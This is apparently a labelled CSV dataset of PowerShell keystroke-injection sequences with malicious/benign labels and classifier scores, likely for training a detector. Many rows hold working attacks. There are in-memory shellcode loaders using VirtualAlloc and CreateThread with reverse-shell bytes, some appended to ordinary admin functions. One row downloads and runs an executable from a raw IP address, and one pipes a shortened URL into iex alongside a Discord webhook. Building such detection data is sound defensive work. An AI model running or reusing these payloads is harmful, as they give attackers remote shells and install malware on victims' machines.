0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x40,0x83,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.168537e-05,0.99994826
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install kb3063858 enter A enter enter enter,0,0,0.99996006,3.9979575e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_edumjwd1"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.json"") -Encoding UTF8 enter Get-AppxPackage | enter Select-Object -First 100 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.415736e-05
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install netfx-4.7.2-devpack enter A enter enter enter,0,0,0.9999591,4.0893174e-05
win+r powershell enter function Test-CNtfsCompression { [CmdletBinding()] param( [Parameter(Mandat enter ory=$true)] [string] $Path ) Set-StrictMode -Version 'Latest' enter enter,1,1,0.0045123105,0.99548763
"win+r powershell enter param([parameter(Mandatory=$true)][string] $dir, enter [parameter(Mandatory=$true)][string] $server) enter Add-PSSnapin SqlServerCmdletSnapin100 enter Add-PSSnapin SqlServerProviderSnapin100 enter [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.SqlServer.SMO') | out-null enter [System.Reflection.Assembly]::LoadWithPartialName(""Microsoft.SqlServer.SmoExtended"") | Out-Null enter $smosrv = new-object ('Microsoft.SqlServer.Management.Smo.Server') $server enter $files = gci $dir | where {$_.name -like ""*.bak""} enter $output=([Environment]::GetFolderPath(""MyDocuments"")) + ""\attachdbs.sql"" enter ""/*****************************************"" > $output enter ""Attach script based off of backup files"" >> $output enter ""*****************************************/"" >> $output enter foreach($file in $files){ enter $rs=new-object(""Microsoft.SqlServer.Management.Smo.Restore"") enter $rs.Devices.AddDevice($file.FullName, ""File"") enter $hd=$rs.ReadBackupHeader($smosrv) enter $dbname=$hd.Rows[0].DatabaseName enter $dbfiles=$rs.ReadFileList($smosrv) enter ""CREATE DATABASE $dbname ON"" >> $output enter $filewrite=@() enter foreach($dbfile in $dbfiles){ enter $filewrite+=""(FILENAME='""+$dbfile.PhysicalName+""')"" enter } enter $filewrite -join "",`n"" >> $output enter ""FOR ATTACH; `n--------------------------"" >> $output enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xd0,0xb8,0xd6,0x62,0x05,0x7e,0xd9,0x74,0x24,0xf4,0x5b,0x33,0xc9,0xb1,0x47,0x31,0x43,0x18,0x03,0x43,0x18,0x83,0xc3,0xd2,0x80,0xf0,0x82,0x32,0xc6,0xfb,0x7a,0xc2,0xa7,0x72,0x9f,0xf3,0xe7,0xe1,0xeb,0xa3,0xd7,0x62,0xb9,0x4f,0x93,0x27,0x2a,0xc4,0xd1,0xef,0x5d,0x6d,0x5f,0xd6,0x50,0x6e,0xcc,0x2a,0xf2,0xec,0x0f,0x7f,0xd4,0xcd,0xdf,0x72,0x15,0x0a,0x3d,0x7e,0x47,0xc3,0x49,0x2d,0x78,0x60,0x07,0xee,0xf3,0x3a,0x89,0x76,0xe7,0x8a,0xa8,0x57,0xb6,0x81,0xf2,0x77,0x38,0x46,0x8f,0x31,0x22,0x8b,0xaa,0x88,0xd9,0x7f,0x40,0x0b,0x08,0x4e,0xa9,0xa0,0x75,0x7f,0x58,0xb8,0xb2,0x47,0x83,0xcf,0xca,0xb4,0x3e,0xc8,0x08,0xc7,0xe4,0x5d,0x8b,0x6f,0x6e,0xc5,0x77,0x8e,0xa3,0x90,0xfc,0x9c,0x08,0xd6,0x5b,0x80,0x8f,0x3b,0xd0,0xbc,0x04,0xba,0x37,0x35,0x5e,0x99,0x93,0x1e,0x04,0x80,0x82,0xfa,0xeb,0xbd,0xd5,0xa5,0x54,0x18,0x9d,0x4b,0x80,0x11,0xfc,0x03,0x65,0x18,0xff,0xd3,0xe1,0x2b,0x8c,0xe1,0xae,0x87,0x1a,0x49,0x26,0x0e,0xdc,0xae,0x1d,0xf6,0x72,0x51,0x9e,0x07,0x5a,0x95,0xca,0x57,0xf4,0x3c,0x73,0x3c,0x04,0xc1,0xa6,0x93,0x54,0x6d,0x19,0x54,0x05,0xcd,0xc9,0x3c,0x4f,0xc2,0x36,0x5c,0x70,0x09,0x5f,0xf7,0x8a,0xd9,0x49,0x26,0xa0,0xed,0xe2,0x34,0xca,0x1c,0xaf,0xb1,0x2c,0x74,0x5f,0x94,0xe7,0xe0,0xc6,0xbd,0x7c,0x91,0x07,0x68,0xf9,0x91,0x8c,0x9f,0xfd,0x5f,0x65,0xd5,0xed,0x37,0x85,0xa0,0x4c,0x91,0x9a,0x1e,0xfa,0x1d,0x0f,0xa5,0xad,0x4a,0xa7,0xa7,0x88,0xbc,0x68,0x57,0xff,0xb7,0xa1,0xcd,0x40,0xaf,0xcd,0x01,0x41,0x2f,0x98,0x4b,0x41,0x47,0x7c,0x28,0x12,0x72,0x83,0xe5,0x06,0x2f,0x16,0x06,0x7f,0x9c,0xb1,0x6e,0x7d,0xfb,0xf6,0x30,0x7e,0x2e,0x07,0x0c,0xa9,0x16,0x7d,0x7c,0x69;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.1855895e-05,0.99994814
"win+r powershell enter $BsT2 = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(Int enter Ptr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""k enter ernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes enter , uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFl enter ags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mem enter set(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $BsT2 - enter Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xd4 enter ,0xb8,0x07,0x53,0x7f,0x04,0xd9,0x74,0x24,0xf4,0x5d,0x31,0xc9,0xb1,0x47,0x31,0x45 enter ,0x18,0x03,0x45,0x18,0x83,0xc5,0x03,0xb1,0x8a,0xf8,0xe3,0xb7,0x75,0x01,0xf3,0xd7 enter ,0xfc,0xe4,0xc2,0xd7,0x9b,0x6d,0x74,0xe8,0xe8,0x20,0x78,0x83,0xbd,0xd0,0x0b,0xe1 enter ,0x69,0xd6,0xbc,0x4c,0x4c,0xd9,0x3d,0xfc,0xac,0x78,0xbd,0xff,0xe0,0x5a,0xfc,0xcf enter ,0xf4,0x9b,0x39,0x2d enter enter",1,1,5.4594795e-05,0.9999454
"win+r powershell enter Describe ""Set-PSDebug"" -Tags ""CI"" { Context ""Tracing can be used"" { AfterEach enter { Set-PSDebug -Off } It ""Should be able to go through the tracing options"" { enter { Set-PSDebug -Trace 0 } | Should -Not -Throw { Set-PSDebug -Trace 1 } | Shou enter ld -Not -Throw { Set-PSDebug -Trace 2 } | Should -Not -Throw } enter enter",1,1,0.00948487,0.9905151
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_5q5017ou"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 15 ProcessName, Id, StartTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_cpu_15.txt"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_75.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4270783e-05
"win+r powershell enter $S9nl = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(Int enter Ptr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""k enter ernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes enter , uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFl enter ags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mem enter set(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $S9nl - enter Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8 enter ,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c enter ,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c enter ,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52 enter ,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50 enter ,0x8b,0x48,0x18,0x8b enter enter",1,1,5.4089014e-05,0.9999459
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""daily_check_rpzaz8p5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 15 Name, Id, Path, Company | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_15.json"") -Encoding UTF8 enter",0,0,0.9999659,3.413799e-05
"win+r powershell enter class AsrCommon { [psobject]$Logger AsrCommon($logger) { $this.Logger = $lo enter gger } [psobject] GetAndEnsureVaultContext($vaultName) { $this.Logger.LogTr enter ace(""Ensuring services vault context '$($vaultName)'"") enter enter",1,1,0.0028916548,0.9971084
win+r enter powershell enter enter enter win r powershell enter enter $accessToken =DROPBOX_ACCESS_TOKEN enter enter enter enter,1,1,0.008952174,0.9910478
win r powershell -nop -ep bypass -w h -c $dc='discord webhook';irm is.gd/bwcamtodc | iex enter,0,1,0.021804621,0.9781953
"win+r powershell enter  function Test-NewDirectConnectionWithV4V6 { $asn = makePeerAsn 65000 $kin enter d = isDirect $true; $loc = ""Los Angeles"" $peeringLocation = getPeeringLocation enter $kind $loc; $facilityId = $peeringLocation[0].PeeringDBFacilityId $bandwidt enter h = getBandwidth enter",1,1,0.00040934503,0.9995907
"win+r enter powershell enter enter enter  enter function Invoke-SafeWebRequest{ enter Param( enter [Parameter(Mandatory=$True)] enter [string]$Query enter ) enter try enter { enter Write-Debug ""Sending query to the server..."" enter [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 enter $jsonResult = Invoke-WebRequest $Query -ErrorAction Stop -UseBasicParsing enter } enter catch enter { enter Write-Debug ""Something went wrong."" enter Write-Debug ""Response: $($_.Exception.Response)"" enter $code = $_.Exception.Response.StatusCode.Value__ enter $message = """" enter enter if ($code -ge 400 -and $code -le 499){ enter $message = ""Request to GitHub Api failed with error code $code. List of commits could not be returned. ""+ enter ""One or multiple parameters are incorrect."" enter } else { enter $message = ""The server returned an error. List of commits could not bet returned. "" enter } enter enter $exception = New-Object -TypeName System.Exception -ArgumentList $message, $_.Exception enter Write-Debug $exception.ToString enter throw $exception enter } enter enter return $jsonResult enter } enter enter function Get-PullRequestFileChanges{ enter [CmdletBinding()] enter Param( enter [Parameter(Mandatory=$True)] enter [string]$RepositoryOwner, enter [Parameter(Mandatory=$True)] enter [string]$RepositoryName, enter [Parameter(Mandatory=$True)] enter [int]$PullRequestNumber enter ) enter PROCESS { enter $filesChanged = New-Object 'System.Collections.Generic.HashSet[string]' enter Write-Debug ""Number of files detected so far: $($filesChanged.Count)"" enter enter $currentPage = 0 enter enter do enter { enter Write-Debug ""Starting pagination..."" enter $currentPage += 1 enter Write-Debug ""Current page is: $currentPage"" enter $query = ""https://api.github.com/repos/$RepositoryOwner/$RepositoryName/pulls/$PullRequestNumber/files?page=$currentPage&per_page=100"" enter Write-Debug ""Query to be send is: $query"" enter $jsonResult = Invoke-SafeWebRequest $query enter Write-Debug ""Response from server received successfully."" enter Write-Debug ""Response from server: $jsonResult"" enter Write-Debug ""Extracting content from response..."" enter [object[]]$files = ConvertFrom-Json -InputObject $jsonResult.Content enter Write-Debug ""Number of files on page '$currentPage' is: $($files.Count)"" enter enter foreach ($file in $files) enter { enter $filesChanged.Add($file.filename) | Out-Null enter } enter enter Write-Debug ""Number of files detected so far: $($filesChanged.Count)"" enter enter $link = $jsonResult.Headers.Link enter Write-Debug ""Getting next page information..."" enter $isThereNextPage = $link -match 'rel=""next""' enter Write-Debug ""Pages left?: $isThereNextPage"" enter } while ($isThereNextPage) enter enter Write-Debug ""List of files changed: "" enter foreach ($fileName in $filesChanged) { enter Write-Debug "" $fileName"" enter } enter enter Write-Debug ""Total: $($filesChanged.Count)"" enter enter return $filesChanged enter } enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.7915597e-05,0.99994206
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_tm8ta6i9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Export-Csv -Path (Join-Path $ReportDir ""network_net_connection_profile.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Export-Csv -Path (Join-Path $ReportDir ""computer_info_report.csv"") -NoTypeInformation enter",0,0,0.9999664,3.36679e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_5ykz1h2f"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_usb_related_pnp.csv"") -NoTypeInformation enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.json"") -Encoding UTF8 enter",0,0,0.9999654,3.4543675e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_lboosooa"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.txt"") -Encoding UTF8 enter Write-Host ""Starting service_checks section 2."" enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_stopped.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4771427e-05
"win+r enter powershell enter enter enter function Remove-LocalAdmin { enter param ( enter [string]$comp, enter [string]$sam, enter [string]$domain = $env:USERDOMAIN enter ) enter enter if ($comp -match '^\s*$') { enter throw ""Comp not found '$comp'"" enter } enter enter if ($sam -match '^\s*$') { enter throw ""Sam not acceptable '$sam'"" enter } enter enter ([adsi]""WinNT://$comp/Administrators"").remove(""WinNT://$domain/$sam"") enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc6,0xce,0x85,0x87,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.123981e-05,0.99994874
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_8atmjvz1"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_provider_summary_200.csv"") -NoTypeInformation enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999664,3.363815e-05
"win+r enter powershell enter enter enter win r powershell enter New-Item -Path "".\script.py"" -ItemType ""file"" -Force;Set-Content -Path "".\script.py"" -Value ""import os; from time import sleep; os.system('pip install pyttsx3'); import pyttsx3; sleep(60); alien_message = 'Greetings to the inhabitants of planet Earth. I am an alien from a distant planet named Hak5 and I have taken control of this computer to communicate with you. I want to announce to you that in exactly one year\'s time our invasion fleet will arrive on your planet because we have heard that you make very good fries. Resistance is useless. Your only option is to give us all the fries you have and to produce as many as possible to satiate us. Your planet will become a potato chip colony and you will produce forever. Get ready, earthlings. Our hunger is near.'; motore = pyttsx3.init(); voce_alienea = motore.getProperty('voices')[1]; motore.setProperty('voice', voce_alienea.id); motore.setProperty('pitch', 70); motore.say(alien_message); motore.runAndWait();"" enter Start-Process python.exe -ArgumentList ""script.py"" -WindowStyle Hidden enter alt f4 enter enter",0,1,0.029285407,0.9707146
"win+r powershell enter  Function New-SecurityDescriptor ( $ACEs = (throw ""Missing one or more Trustee enter s""), [string] $ComputerName = ""."") { $SecDesc = ([WMIClass] ""\\$ComputerName enter enter oot\cimv2:Win32_SecurityDescriptor"").CreateInstance() if ($ACEs -is [System enter .Array]) { enter enter",1,1,0.0036256728,0.9963743
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_dyuwc0t7"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 3 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.txt"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.txt"") -Encoding UTF8 enter",0,0,0.9999651,3.4974757e-05
"win+r enter powershell enter enter enter function Get-FolderEntry { enter enter [cmdletbinding(DefaultParameterSetName='Filter')] enter Param ( enter [parameter( enter Position=0, enter ValueFromPipeline=$True, enter ValueFromPipelineByPropertyName=$True)] enter [Alias('FullName')] enter [string[]]$Path = $PWD, enter enter [parameter(ParameterSetName='Filter')] enter [string[]]$Filter = '*.*', enter enter [parameter(ParameterSetName='Exclude')] enter [string[]]$ExcludeFolder enter ) enter enter Begin { enter $array = @(""/L"",""/S"",""/NJH"",""/BYTES"",""/FP"",""/NC"",""/NFL"",""/TS"",""/XJ"",""/R:0"",""/W:0"") enter $regex = ""^(?<Count>\d+)\s+(?<FullName>.*)"" enter $params = New-Object System.Collections.Arraylist enter $params.AddRange($array) enter } enter enter Process { enter enter ForEach ($item in $Path) { enter Try { enter enter $item = (Resolve-Path -LiteralPath $item -ErrorAction Stop).ProviderPath enter enter If (-Not (Test-Path -LiteralPath $item -Type Container -ErrorAction Stop)) { enter Write-Warning (""{0} is not a directory and will be skipped"" -f $item) enter Return enter } enter enter If ($PSBoundParameters['ExcludeFolder']) { enter $filterString = ($ExcludeFolder | %{""'$_'""}) -join ',' enter $Script = ""robocopy `""$item`"" NULL $Filter $params /XD $filterString"" enter } enter Else { enter $Script = ""robocopy `""$item`"" NULL $Filter $params"" enter } enter enter Write-Verbose (""Scanning {0}"" -f $item) enter Invoke-Expression $Script | ForEach { enter Try { enter If ($_.Trim() -match $regex) { enter $object = New-Object PSObject -Property @{ enter FullName = $matches.FullName enter FileCount = [int64]$matches.Count enter FullPathLength = [int] $matches.FullName.Length enter } | select FullName, FileCount, FullPathLength enter $object.pstypenames.insert(0,'System.IO.RobocopyDirectoryInfo') enter Write-Output $object enter } Else { enter Write-Verbose (""Not matched: {0}"" -f $_) enter } enter } Catch { enter Write-Warning (""{0}"" -f $_.Exception.Message) enter Return enter } enter } enter } Catch { enter Write-Warning (""{0}"" -f $_.Exception.Message) enter Return enter } enter } enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 